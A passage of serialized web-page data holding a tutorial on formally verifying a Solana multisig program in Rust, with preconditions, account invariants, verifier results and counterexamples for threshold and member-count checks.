0\n",{"type":25,"tag":216,"props":28232,"children":28233},{"class":6916,"line":6999},[28234],{"type":25,"tag":216,"props":28235,"children":28236},{"style":6958},[28237],{"type":31,"value":24212},{"type":25,"tag":216,"props":28239,"children":28240},{"class":6916,"line":7104},[28241,28245,28249,28253,28257,28261,28265,28269],{"type":25,"tag":216,"props":28242,"children":28243},{"style":6930},[28244],{"type":31,"value":17641},{"type":25,"tag":216,"props":28246,"children":28247},{"style":6930},[28248],{"type":31,"value":17646},{"type":25,"tag":216,"props":28250,"children":28251},{"style":7041},[28252],{"type":31,"value":11058},{"type":25,"tag":216,"props":28254,"children":28255},{"style":6958},[28256],{"type":31,"value":1844},{"type":25,"tag":216,"props":28258,"children":28259},{"style":6947},[28260],{"type":31,"value":13541},{"type":25,"tag":216,"props":28262,"children":28263},{"style":6958},[28264],{"type":31,"value":27940},{"type":25,"tag":216,"props":28266,"children":28267},{"style":6947},[28268],{"type":31,"value":13541},{"type":25,"tag":216,"props":28270,"children":28271},{"style":6958},[28272],{"type":31,"value":13546},{"type":25,"tag":38,"props":28274,"children":28275},{},[28276],{"type":31,"value":28277},"A third counterexample:",{"type":25,"tag":206,"props":28279,"children":28281},{"code":28280},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[28282],{"type":25,"tag":82,"props":28283,"children":28284},{"__ignoreMap":7},[28285],{"type":31,"value":28280},{"type":25,"tag":38,"props":28287,"children":28288},{},[28289,28291,28297],{"type":31,"value":28290},"Here we see the size of our ",{"type":25,"tag":82,"props":28292,"children":28294},{"className":28293},[],[28295],{"type":31,"value":28296},"members",{"type":31,"value":28298}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":25,"tag":206,"props":28300,"children":28302},{"code":28301,"language":6908,"meta":7,"className":6909,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[28303],{"type":25,"tag":82,"props":28304,"children":28305},{"__ignoreMap":7},[28306,28313,28348,28369,28421,28428],{"type":25,"tag":216,"props":28307,"children":28308},{"class":6916,"line":6917},[28309],{"type":25,"tag":216,"props":28310,"children":28311},{"style":6958},[28312],{"type":31,"value":28063},{"type":25,"tag":216,"props":28314,"children":28315},{"class":6916,"line":6763},[28316,28320,28324,28328,28332,28336,28340,28344],{"type":25,"tag":216,"props":28317,"children":28318},{"style":6958},[28319],{"type":31,"value":28071},{"type":25,"tag":216,"props":28321,"children":28322},{"style":6930},[28323],{"type":31,"value":12789},{"type":25,"tag":216,"props":28325,"children":28326},{"style":7369},[28327],{"type":31,"value":17682},{"type":25,"tag":216,"props":28329,"children":28330},{"style":6958},[28331],{"type":31,"value":7030},{"type":25,"tag":216,"props":28333,"children":28334},{"style":6947},[28335],{"type":31,"value":23368},{"type":25,"tag":216,"props":28337,"children":28338},{"style":6958},[28339],{"type":31,"value":27324},{"type":25,"tag":216,"props":28341,"children":28342},{"style":6947},[28343],{"type":31,"value":179},{"type":25,"tag":216,"props":28345,"children":28346},{"style":6958},[28347],{"type":31,"value":28100},{"type":25,"tag":216,"props":28349,"children":28350},{"class":6916,"line":6772},[28351,28355,28360,28364],{"type":25,"tag":216,"props":28352,"children":28353},{"style":6947},[28354],{"type":31,"value":19573},{"type":25,"tag":216,"props":28356,"children":28357},{"style":6958},[28358],{"type":31,"value":28359}," (threshold ",{"type":25,"tag":216,"props":28361,"children":28362},{"style":6947},[28363],{"type":31,"value":19640},{"type":25,"tag":216,"props":28365,"children":28366},{"style":6958},[28367],{"type":31,"value":28368}," 0)\n",{"type":25,"tag":216,"props":28370,"children":28371},{"class":6916,"line":6999},[28372,28376,28380,28384,28388,28392,28396,28401,28405,28409,28413,28417],{"type":25,"tag":216,"props":28373,"children":28374},{"style":6947},[28375],{"type":31,"value":19573},{"type":25,"tag":216,"props":28377,"children":28378},{"style":6958},[28379],{"type":31,"value":26938},{"type":25,"tag":216,"props":28381,"children":28382},{"style":6947},[28383],{"type":31,"value":179},{"type":25,"tag":216,"props":28385,"children":28386},{"style":6958},[28387],{"type":31,"value":24975},{"type":25,"tag":216,"props":28389,"children":28390},{"style":6947},[28391],{"type":31,"value":23368},{"type":25,"tag":216,"props":28393,"children":28394},{"style":6958},[28395],{"type":31,"value":7010},{"type":25,"tag":216,"props":28397,"children":28398},{"style":7369},[28399],{"type":31,"value":28400},"u16",{"type":25,"tag":216,"props":28402,"children":28403},{"style":6947},[28404],{"type":31,"value":7432},{"type":25,"tag":216,"props":28406,"children":28407},{"style":7369},[28408],{"type":31,"value":24993},{"type":25,"tag":216,"props":28410,"children":28411},{"style":6930},[28412],{"type":31,"value":12775},{"type":25,"tag":216,"props":28414,"children":28415},{"style":7369},[28416],{"type":31,"value":17682},{"type":25,"tag":216,"props":28418,"children":28419},{"style":6958},[28420],{"type":31,"value":23666},{"type":25,"tag":216,"props":28422,"children":28423},{"class":6916,"line":7104},[28424],{"type":25,"tag":216,"props":28425,"children":28426},{"style":6958},[28427],{"type":31,"value":24212},{"type":25,"tag":216,"props":28429,"children":28430},{"class":6916,"line":7210},[28431,28435,28439,28443,28447,28451,28455,28459],{"type":25,"tag":216,"props":28432,"children":28433},{"style":6930},[28434],{"type":31,"value":17641},{"type":25,"tag":216,"props":28436,"children":28437},{"style":6930},[28438],{"type":31,"value":17646},{"type":25,"tag":216,"props":28440,"children":28441},{"style":7041},[28442],{"type":31,"value":11058},{"type":25,"tag":216,"props":28444,"children":28445},{"style":6958},[28446],{"type":31,"value":1844},{"type":25,"tag":216,"props":28448,"children":28449},{"style":6947},[28450],{"type":31,"value":13541},{"type":25,"tag":216,"props":28452,"children":28453},{"style":6958},[28454],{"type":31,"value":27940},{"type":25,"tag":216,"props":28456,"children":28457},{"style":6947},[28458],{"type":31,"value":13541},{"type":25,"tag":216,"props":28460,"children":28461},{"style":6958},[28462],{"type":31,"value":13546},{"type":25,"tag":38,"props":28464,"children":28465},{},[28466],{"type":31,"value":28467},"And now we get:",{"type":25,"tag":206,"props":28469,"children":28471},{"code":28470},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[28472],{"type":25,"tag":82,"props":28473,"children":28474},{"__ignoreMap":7},[28475],{"type":31,"value":28470},{"type":25,"tag":38,"props":28477,"children":28478},{},[28479],{"type":31,"value":28480},"🥳🥳🥳",{"type":25,"tag":38,"props":28482,"children":28483},{},[28484],{"type":31,"value":28485},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":25,"tag":206,"props":28487,"children":28489},{"code":28488,"language":6908,"meta":7,"className":6909,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[28490],{"type":25,"tag":82,"props":28491,"children":28492},{"__ignoreMap":7},[28493,28516,28547],{"type":25,"tag":216,"props":28494,"children":28495},{"class":6916,"line":6917},[28496,28500,28504,28508,28512],{"type":25,"tag":216,"props":28497,"children":28498},{"style":6967},[28499],{"type":31,"value":19531},{"type":25,"tag":216,"props":28501,"children":28502},{"style":6941},[28503],{"type":31,"value":27403},{"type":25,"tag":216,"props":28505,"children":28506},{"style":6947},[28507],{"type":31,"value":12666},{"type":25,"tag":216,"props":28509,"children":28510},{"style":6983},[28511],{"type":31,"value":8465},{"type":25,"tag":216,"props":28513,"children":28514},{"style":6958},[28515],{"type":31,"value":7235},{"type":25,"tag":216,"props":28517,"children":28518},{"class":6916,"line":6763},[28519,28523,28527,28531,28535,28539,28543],{"type":25,"tag":216,"props":28520,"children":28521},{"style":6967},[28522],{"type":31,"value":20941},{"type":25,"tag":216,"props":28524,"children":28525},{"style":7041},[28526],{"type":31,"value":27459},{"type":25,"tag":216,"props":28528,"children":28529},{"style":6958},[28530],{"type":31,"value":1844},{"type":25,"tag":216,"props":28532,"children":28533},{"style":7369},[28534],{"type":31,"value":27468},{"type":25,"tag":216,"props":28536,"children":28537},{"style":6947},[28538],{"type":31,"value":7432},{"type":25,"tag":216,"props":28540,"children":28541},{"style":7369},[28542],{"type":31,"value":27477},{"type":25,"tag":216,"props":28544,"children":28545},{"style":6958},[28546],{"type":31,"value":7791},{"type":25,"tag":216,"props":28548,"children":28549},{"class":6916,"line":6772},[28550],{"type":25,"tag":216,"props":28551,"children":28552},{"style":6958},[28553],{"type":31,"value":7868},{"type":25,"tag":38,"props":28555,"children":28556},{},[28557,28559,28565,28567,28572,28574,28579,28581,28586],{"type":31,"value":28558},"In this case this is actually redundant because if ",{"type":25,"tag":82,"props":28560,"children":28562},{"className":28561},[],[28563],{"type":31,"value":28564},"members.len() == 0",{"type":31,"value":28566}," then our threshold would also have to be ",{"type":25,"tag":82,"props":28568,"children":28570},{"className":28569},[],[28571],{"type":31,"value":1876},{"type":31,"value":28573}," (and our ",{"type":25,"tag":82,"props":28575,"children":28577},{"className":28576},[],[28578],{"type":31,"value":26689},{"type":31,"value":28580}," is not allowed to be ",{"type":25,"tag":82,"props":28582,"children":28584},{"className":28583},[],[28585],{"type":31,"value":1876},{"type":31,"value":28587},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":25,"tag":607,"props":28589,"children":28591},{"id":28590},"_2-verify-threshold-requirements",[28592],{"type":31,"value":28593},"2. Verify threshold requirements",{"type":25,"tag":38,"props":28595,"children":28596},{},[28597],{"type":31,"value":28598},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":25,"tag":38,"props":28600,"children":28601},{},[28602,28604,28608],{"type":31,"value":28603},"Unlike the previous example, we want to verify this in ",{"type":25,"tag":64,"props":28605,"children":28606},{},[28607],{"type":31,"value":13250},{"type":31,"value":28609}," cases. I.e. any instruction that could mutate the multisig account.",{"type":25,"tag":38,"props":28611,"children":28612},{},[28613,28615,28619,28621,28626],{"type":31,"value":28614},"In this case, we want to model this as an ",{"type":25,"tag":64,"props":28616,"children":28617},{},[28618],{"type":31,"value":25719},{"type":31,"value":28620}," on the ",{"type":25,"tag":82,"props":28622,"children":28624},{"className":28623},[],[28625],{"type":31,"value":26681},{"type":31,"value":28627}," account struct:",{"type":25,"tag":206,"props":28629,"children":28631},{"code":28630,"language":6908,"meta":7,"className":6909,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[28632],{"type":25,"tag":82,"props":28633,"children":28634},{"__ignoreMap":7},[28635,28642,28667,28674,28698,28749,28756,28775,28802,28829,28856,28883,28910,28937,28964,28999],{"type":25,"tag":216,"props":28636,"children":28637},{"class":6916,"line":6917},[28638],{"type":25,"tag":216,"props":28639,"children":28640},{"style":6958},[28641],{"type":31,"value":24724},{"type":25,"tag":216,"props":28643,"children":28644},{"class":6916,"line":6763},[28645,28649,28654,28658,28663],{"type":25,"tag":216,"props":28646,"children":28647},{"style":6958},[28648],{"type":31,"value":26777},{"type":25,"tag":216,"props":28650,"children":28651},{"style":7369},[28652],{"type":31,"value":28653},"Clone",{"type":25,"tag":216,"props":28655,"children":28656},{"style":6958},[28657],{"type":31,"value":7020},{"type":25,"tag":216,"props":28659,"children":28660},{"style":7369},[28661],{"type":31,"value":28662},"Debug",{"type":25,"tag":216,"props":28664,"children":28665},{"style":6958},[28666],{"type":31,"value":24212},{"type":25,"tag":216,"props":28668,"children":28669},{"class":6916,"line":6772},[28670],{"type":25,"tag":216,"props":28671,"children":28672},{"style":6958},[28673],{"type":31,"value":24732},{"type":25,"tag":216,"props":28675,"children":28676},{"class":6916,"line":6999},[28677,28682,28686,28690,28694],{"type":25,"tag":216,"props":28678,"children":28679},{"style":6958},[28680],{"type":31,"value":28681},"    (self",{"type":25,"tag":216,"props":28683,"children":28684},{"style":6947},[28685],{"type":31,"value":179},{"type":25,"tag":216,"props":28687,"children":28688},{"style":6958},[28689],{"type":31,"value":25025},{"type":25,"tag":216,"props":28691,"children":28692},{"style":6947},[28693],{"type":31,"value":13894},{"type":25,"tag":216,"props":28695,"children":28696},{"style":6958},[28697],{"type":31,"value":25034},{"type":25,"tag":216,"props":28699,"children":28700},{"class":6916,"line":7104},[28701,28705,28709,28713,28717,28721,28725,28729,28733,28737,28741,28745],{"type":25,"tag":216,"props":28702,"children":28703},{"style":6947},[28704],{"type":31,"value":19573},{"type":25,"tag":216,"props":28706,"children":28707},{"style":6958},[28708],{"type":31,"value":24958},{"type":25,"tag":216,"props":28710,"children":28711},{"style":6947},[28712],{"type":31,"value":179},{"type":25,"tag":216,"props":28714,"children":28715},{"style":6958},[28716],{"type":31,"value":25025},{"type":25,"tag":216,"props":28718,"children":28719},{"style":6930},[28720],{"type":31,"value":12789},{"type":25,"tag":216,"props":28722,"children":28723},{"style":7369},[28724],{"type":31,"value":17682},{"type":25,"tag":216,"props":28726,"children":28727},{"style":6947},[28728],{"type":31,"value":12143},{"type":25,"tag":216,"props":28730,"children":28731},{"style":6958},[28732],{"type":31,"value":17748},{"type":25,"tag":216,"props":28734,"children":28735},{"style":6947},[28736],{"type":31,"value":179},{"type":25,"tag":216,"props":28738,"children":28739},{"style":6958},[28740],{"type":31,"value":24937},{"type":25,"tag":216,"props":28742,"children":28743},{"style":6947},[28744],{"type":31,"value":179},{"type":25,"tag":216,"props":28746,"children":28747},{"style":6958},[28748],{"type":31,"value":25086},{"type":25,"tag":216,"props":28750,"children":28751},{"class":6916,"line":7210},[28752],{"type":25,"tag":216,"props":28753,"children":28754},{"style":6958},[28755],{"type":31,"value":24212},{"type":25,"tag":216,"props":28757,"children":28758},{"class":6916,"line":7238},[28759,28763,28767,28771],{"type":25,"tag":216,"props":28760,"children":28761},{"style":6930},[28762],{"type":31,"value":17641},{"type":25,"tag":216,"props":28764,"children":28765},{"style":6930},[28766],{"type":31,"value":25105},{"type":25,"tag":216,"props":28768,"children":28769},{"style":7369},[28770],{"type":31,"value":25110},{"type":25,"tag":216,"props":28772,"children":28773},{"style":6958},[28774],{"type":31,"value":7235},{"type":25,"tag":216,"props":28776,"children":28777},{"class":6916,"line":7251},[28778,28782,28786,28790,28794,28798],{"type":25,"tag":216,"props":28779,"children":28780},{"style":6930},[28781],{"type":31,"value":24797},{"type":25,"tag":216,"props":28783,"children":28784},{"style":6941},[28785],{"type":31,"value":25126},{"type":25,"tag":216,"props":28787,"children":28788},{"style":6947},[28789],{"type":31,"value":1466},{"type":25,"tag":216,"props":28791,"children":28792},{"style":7369},[28793],{"type":31,"value":24984},{"type":25,"tag":216,"props":28795,"children":28796},{"style":6958},[28797],{"type":31,"value":25139},{"type":25,"tag":216,"props":28799,"children":28800},{"style":6921},[28801],{"type":31,"value":25144},{"type":25,"tag":216,"props":28803,"children":28804},{"class":6916,"line":7269},[28805,28809,28813,28817,28821,28825],{"type":25,"tag":216,"props":28806,"children":28807},{"style":6930},[28808],{"type":31,"value":24797},{"type":25,"tag":216,"props":28810,"children":28811},{"style":6941},[28812],{"type":31,"value":25156},{"type":25,"tag":216,"props":28814,"children":28815},{"style":6947},[28816],{"type":31,"value":1466},{"type":25,"tag":216,"props":28818,"children":28819},{"style":7369},[28820],{"type":31,"value":24984},{"type":25,"tag":216,"props":28822,"children":28823},{"style":6958},[28824],{"type":31,"value":25169},{"type":25,"tag":216,"props":28826,"children":28827},{"style":6921},[28828],{"type":31,"value":25174},{"type":25,"tag":216,"props":28830,"children":28831},{"class":6916,"line":7290},[28832,28836,28840,28844,28848,28852],{"type":25,"tag":216,"props":28833,"children":28834},{"style":6930},[28835],{"type":31,"value":24797},{"type":25,"tag":216,"props":28837,"children":28838},{"style":6941},[28839],{"type":31,"value":25186},{"type":25,"tag":216,"props":28841,"children":28842},{"style":6947},[28843],{"type":31,"value":1466},{"type":25,"tag":216,"props":28845,"children":28846},{"style":7369},[28847],{"type":31,"value":21501},{"type":25,"tag":216,"props":28849,"children":28850},{"style":6958},[28851],{"type":31,"value":25199},{"type":25,"tag":216,"props":28853,"children":28854},{"style":6921},[28855],{"type":31,"value":25204},{"type":25,"tag":216,"props":28857,"children":28858},{"class":6916,"line":7299},[28859,28863,28867,28871,28875,28879],{"type":25,"tag":216,"props":28860,"children":28861},{"style":6930},[28862],{"type":31,"value":24797},{"type":25,"tag":216,"props":28864,"children":28865},{"style":6941},[28866],{"type":31,"value":25216},{"type":25,"tag":216,"props":28868,"children":28869},{"style":6947},[28870],{"type":31,"value":1466},{"type":25,"tag":216,"props":28872,"children":28873},{"style":7369},[28874],{"type":31,"value":21501},{"type":25,"tag":216,"props":28876,"children":28877},{"style":6958},[28878],{"type":31,"value":25169},{"type":25,"tag":216,"props":28880,"children":28881},{"style":6921},[28882],{"type":31,"value":25233},{"type":25,"tag":216,"props":28884,"children":28885},{"class":6916,"line":7551},[28886,28890,28894,28898,28902,28906],{"type":25,"tag":216,"props":28887,"children":28888},{"style":6930},[28889],{"type":31,"value":24797},{"type":25,"tag":216,"props":28891,"children":28892},{"style":6941},[28893],{"type":31,"value":25245},{"type":25,"tag":216,"props":28895,"children":28896},{"style":6947},[28897],{"type":31,"value":1466},{"type":25,"tag":216,"props":28899,"children":28900},{"style":7369},[28901],{"type":31,"value":18585},{"type":25,"tag":216,"props":28903,"children":28904},{"style":6958},[28905],{"type":31,"value":25258},{"type":25,"tag":216,"props":28907,"children":28908},{"style":6921},[28909],{"type":31,"value":25263},{"type":25,"tag":216,"props":28911,"children":28912},{"class":6916,"line":7568},[28913,28917,28921,28925,28929,28933],{"type":25,"tag":216,"props":28914,"children":28915},{"style":6930},[28916],{"type":31,"value":24797},{"type":25,"tag":216,"props":28918,"children":28919},{"style":6941},[28920],{"type":31,"value":25275},{"type":25,"tag":216,"props":28922,"children":28923},{"style":6947},[28924],{"type":31,"value":1466},{"type":25,"tag":216,"props":28926,"children":28927},{"style":7369},[28928],{"type":31,"value":24811},{"type":25,"tag":216,"props":28930,"children":28931},{"style":6958},[28932],{"type":31,"value":25288},{"type":25,"tag":216,"props":28934,"children":28935},{"style":6921},[28936],{"type":31,"value":25293},{"type":25,"tag":216,"props":28938,"children":28939},{"class":6916,"line":7585},[28940,28944,28948,28952,28956,28960],{"type":25,"tag":216,"props":28941,"children":28942},{"style":6930},[28943],{"type":31,"value":24797},{"type":25,"tag":216,"props":28945,"children":28946},{"style":6941},[28947],{"type":31,"value":25305},{"type":25,"tag":216,"props":28949,"children":28950},{"style":6947},[28951],{"type":31,"value":1466},{"type":25,"tag":216,"props":28953,"children":28954},{"style":7369},[28955],{"type":31,"value":16000},{"type":25,"tag":216,"props":28957,"children":28958},{"style":6958},[28959],{"type":31,"value":7020},{"type":25,"tag":216,"props":28961,"children":28962},{"style":6921},[28963],{"type":31,"value":25322},{"type":25,"tag":216,"props":28965,"children":28966},{"class":6916,"line":7598},[28967,28971,28975,28979,28983,28987,28991,28995],{"type":25,"tag":216,"props":28968,"children":28969},{"style":6930},[28970],{"type":31,"value":24797},{"type":25,"tag":216,"props":28972,"children":28973},{"style":6941},[28974],{"type":31,"value":25334},{"type":25,"tag":216,"props":28976,"children":28977},{"style":6947},[28978],{"type":31,"value":1466},{"type":25,"tag":216,"props":28980,"children":28981},{"style":7369},[28982],{"type":31,"value":25343},{"type":25,"tag":216,"props":28984,"children":28985},{"style":6958},[28986],{"type":31,"value":9751},{"type":25,"tag":216,"props":28988,"children":28989},{"style":7369},[28990],{"type":31,"value":25352},{"type":25,"tag":216,"props":28992,"children":28993},{"style":6958},[28994],{"type":31,"value":25357},{"type":25,"tag":216,"props":28996,"children":28997},{"style":6921},[28998],{"type":31,"value":25362},{"type":25,"tag":216,"props":29000,"children":29001},{"class":6916,"line":7607},[29002],{"type":25,"tag":216,"props":29003,"children":29004},{"style":6958},[29005],{"type":31,"value":7868},{"type":25,"tag":38,"props":29007,"children":29008},{},[29009,29011,29016],{"type":31,"value":29010},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":25,"tag":82,"props":29012,"children":29014},{"className":29013},[],[29015],{"type":31,"value":26681},{"type":31,"value":29017}," object will be checked to ensure that the invariant still holds after modification.",{"type":25,"tag":38,"props":29019,"children":29020},{},[29021,29023,29028],{"type":31,"value":29022},"Let's try this on the ",{"type":25,"tag":82,"props":29024,"children":29026},{"className":29025},[],[29027],{"type":31,"value":26760},{"type":31,"value":29029}," instruction that we've already seen:",{"type":25,"tag":206,"props":29031,"children":29033},{"code":29032},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[29034],{"type":25,"tag":82,"props":29035,"children":29036},{"__ignoreMap":7},[29037],{"type":31,"value":29032},{"type":25,"tag":38,"props":29039,"children":29040},{},[29041,29043,29048],{"type":31,"value":29042},"To ensure this is working, we can test by commenting out this check from ",{"type":25,"tag":82,"props":29044,"children":29046},{"className":29045},[],[29047],{"type":31,"value":26760},{"type":31,"value":1466},{"type":25,"tag":206,"props":29050,"children":29052},{"code":29051,"language":6908,"meta":7,"className":6909,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[29053],{"type":25,"tag":82,"props":29054,"children":29055},{"__ignoreMap":7},[29056,29064,29072],{"type":25,"tag":216,"props":29057,"children":29058},{"class":6916,"line":6917},[29059],{"type":25,"tag":216,"props":29060,"children":29061},{"style":6921},[29062],{"type":31,"value":29063},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":25,"tag":216,"props":29065,"children":29066},{"class":6916,"line":6763},[29067],{"type":25,"tag":216,"props":29068,"children":29069},{"style":6921},[29070],{"type":31,"value":29071},"//     return err!(MsError::InvalidThreshold);\n",{"type":25,"tag":216,"props":29073,"children":29074},{"class":6916,"line":6772},[29075],{"type":25,"tag":216,"props":29076,"children":29077},{"style":6921},[29078],{"type":31,"value":29079},"// }\n",{"type":25,"tag":38,"props":29081,"children":29082},{},[29083],{"type":31,"value":29084},"And run again:",{"type":25,"tag":206,"props":29086,"children":29088},{"code":29087},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[29089],{"type":25,"tag":82,"props":29090,"children":29091},{"__ignoreMap":7},[29092],{"type":31,"value":29087},{"type":25,"tag":38,"props":29094,"children":29095},{},[29096],{"type":31,"value":29097},"We get the following counterexample:",{"type":25,"tag":206,"props":29099,"children":29101},{"code":29100,"language":6908,"meta":7,"className":6909,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[29102],{"type":25,"tag":82,"props":29103,"children":29104},{"__ignoreMap":7},[29105,29116,29136,29156,29176,29196,29216,29236,29256,29276,29297,29318,29326,29334,29364],{"type":25,"tag":216,"props":29106,"children":29107},{"class":6916,"line":6917},[29108,29112],{"type":25,"tag":216,"props":29109,"children":29110},{"style":7369},[29111],{"type":31,"value":21098},{"type":25,"tag":216,"props":29113,"children":29114},{"style":6958},[29115],{"type":31,"value":7235},{"type":25,"tag":216,"props":29117,"children":29118},{"class":6916,"line":6763},[29119,29124,29128,29132],{"type":25,"tag":216,"props":29120,"children":29121},{"style":6941},[29122],{"type":31,"value":29123},"    account",{"type":25,"tag":216,"props":29125,"children":29126},{"style":6947},[29127],{"type":31,"value":1466},{"type":25,"tag":216,"props":29129,"children":29130},{"style":7369},[29131],{"type":31,"value":25110},{"type":25,"tag":216,"props":29133,"children":29134},{"style":6958},[29135],{"type":31,"value":7235},{"type":25,"tag":216,"props":29137,"children":29138},{"class":6916,"line":6772},[29139,29143,29147,29152],{"type":25,"tag":216,"props":29140,"children":29141},{"style":6941},[29142],{"type":31,"value":27777},{"type":25,"tag":216,"props":29144,"children":29145},{"style":6947},[29146],{"type":31,"value":1466},{"type":25,"tag":216,"props":29148,"children":29149},{"style":6983},[29150],{"type":31,"value":29151}," 32768",{"type":25,"tag":216,"props":29153,"children":29154},{"style":6958},[29155],{"type":31,"value":7459},{"type":25,"tag":216,"props":29157,"children":29158},{"class":6916,"line":6999},[29159,29164,29168,29172],{"type":25,"tag":216,"props":29160,"children":29161},{"style":6941},[29162],{"type":31,"value":29163},"        authority_index",{"type":25,"tag":216,"props":29165,"children":29166},{"style":6947},[29167],{"type":31,"value":1466},{"type":25,"tag":216,"props":29169,"children":29170},{"style":6983},[29171],{"type":31,"value":8465},{"type":25,"tag":216,"props":29173,"children":29174},{"style":6958},[29175],{"type":31,"value":7459},{"type":25,"tag":216,"props":29177,"children":29178},{"class":6916,"line":7104},[29179,29184,29188,29192],{"type":25,"tag":216,"props":29180,"children":29181},{"style":6941},[29182],{"type":31,"value":29183},"        transaction_index",{"type":25,"tag":216,"props":29185,"children":29186},{"style":6947},[29187],{"type":31,"value":1466},{"type":25,"tag":216,"props":29189,"children":29190},{"style":6983},[29191],{"type":31,"value":6986},{"type":25,"tag":216,"props":29193,"children":29194},{"style":6958},[29195],{"type":31,"value":7459},{"type":25,"tag":216,"props":29197,"children":29198},{"class":6916,"line":7210},[29199,29204,29208,29212],{"type":25,"tag":216,"props":29200,"children":29201},{"style":6941},[29202],{"type":31,"value":29203},"        ms_change_index",{"type":25,"tag":216,"props":29205,"children":29206},{"style":6947},[29207],{"type":31,"value":1466},{"type":25,"tag":216,"props":29209,"children":29210},{"style":6983},[29211],{"type":31,"value":6986},{"type":25,"tag":216,"props":29213,"children":29214},{"style":6958},[29215],{"type":31,"value":7459},{"type":25,"tag":216,"props":29217,"children":29218},{"class":6916,"line":7238},[29219,29224,29228,29232],{"type":25,"tag":216,"props":29220,"children":29221},{"style":6941},[29222],{"type":31,"value":29223},"        bump",{"type":25,"tag":216,"props":29225,"children":29226},{"style":6947},[29227],{"type":31,"value":1466},{"type":25,"tag":216,"props":29229,"children":29230},{"style":6983},[29231],{"type":31,"value":6986},{"type":25,"tag":216,"props":29233,"children":29234},{"style":6958},[29235],{"type":31,"value":7459},{"type":25,"tag":216,"props":29237,"children":29238},{"class":6916,"line":7251},[29239,29243,29247,29252],{"type":25,"tag":216,"props":29240,"children":29241},{"style":6941},[29242],{"type":31,"value":27790},{"type":25,"tag":216,"props":29244,"children":29245},{"style":6947},[29246],{"type":31,"value":1466},{"type":25,"tag":216,"props":29248,"children":29249},{"style":6947},[29250],{"type":31,"value":29251}," ...",{"type":25,"tag":216,"props":29253,"children":29254},{"style":6958},[29255],{"type":31,"value":7459},{"type":25,"tag":216,"props":29257,"children":29258},{"class":6916,"line":7269},[29259,29264,29268,29272],{"type":25,"tag":216,"props":29260,"children":29261},{"style":6941},[29262],{"type":31,"value":29263},"        allow_external_execute",{"type":25,"tag":216,"props":29265,"children":29266},{"style":6947},[29267],{"type":31,"value":1466},{"type":25,"tag":216,"props":29269,"children":29270},{"style":6930},[29271],{"type":31,"value":13006},{"type":25,"tag":216,"props":29273,"children":29274},{"style":6958},[29275],{"type":31,"value":7459},{"type":25,"tag":216,"props":29277,"children":29278},{"class":6916,"line":7290},[29279,29284,29288,29293],{"type":25,"tag":216,"props":29280,"children":29281},{"style":6941},[29282],{"type":31,"value":29283},"        keys",{"type":25,"tag":216,"props":29285,"children":29286},{"style":6947},[29287],{"type":31,"value":1466},{"type":25,"tag":216,"props":29289,"children":29290},{"style":7369},[29291],{"type":31,"value":29292}," SparseVec",{"type":25,"tag":216,"props":29294,"children":29295},{"style":6958},[29296],{"type":31,"value":7235},{"type":25,"tag":216,"props":29298,"children":29299},{"class":6916,"line":7299},[29300,29305,29309,29314],{"type":25,"tag":216,"props":29301,"children":29302},{"style":6941},[29303],{"type":31,"value":29304},"            size",{"type":25,"tag":216,"props":29306,"children":29307},{"style":6947},[29308],{"type":31,"value":1466},{"type":25,"tag":216,"props":29310,"children":29311},{"style":6983},[29312],{"type":31,"value":29313}," 5112",{"type":25,"tag":216,"props":29315,"children":29316},{"style":6958},[29317],{"type":31,"value":7459},{"type":25,"tag":216,"props":29319,"children":29320},{"class":6916,"line":7551},[29321],{"type":25,"tag":216,"props":29322,"children":29323},{"style":6958},[29324],{"type":31,"value":29325},"        },\n",{"type":25,"tag":216,"props":29327,"children":29328},{"class":6916,"line":7568},[29329],{"type":25,"tag":216,"props":29330,"children":29331},{"style":6958},[29332],{"type":31,"value":29333},"    },\n",{"type":25,"tag":216,"props":29335,"children":29336},{"class":6916,"line":7585},[29337,29342,29346,29351,29355,29359],{"type":25,"tag":216,"props":29338,"children":29339},{"style":6941},[29340],{"type":31,"value":29341},"    info",{"type":25,"tag":216,"props":29343,"children":29344},{"style":6947},[29345],{"type":31,"value":1466},{"type":25,"tag":216,"props":29347,"children":29348},{"style":7369},[29349],{"type":31,"value":29350}," AccountInfo",{"type":25,"tag":216,"props":29352,"children":29353},{"style":6958},[29354],{"type":31,"value":13536},{"type":25,"tag":216,"props":29356,"children":29357},{"style":6947},[29358],{"type":31,"value":13541},{"type":25,"tag":216,"props":29360,"children":29361},{"style":6958},[29362],{"type":31,"value":29363}," 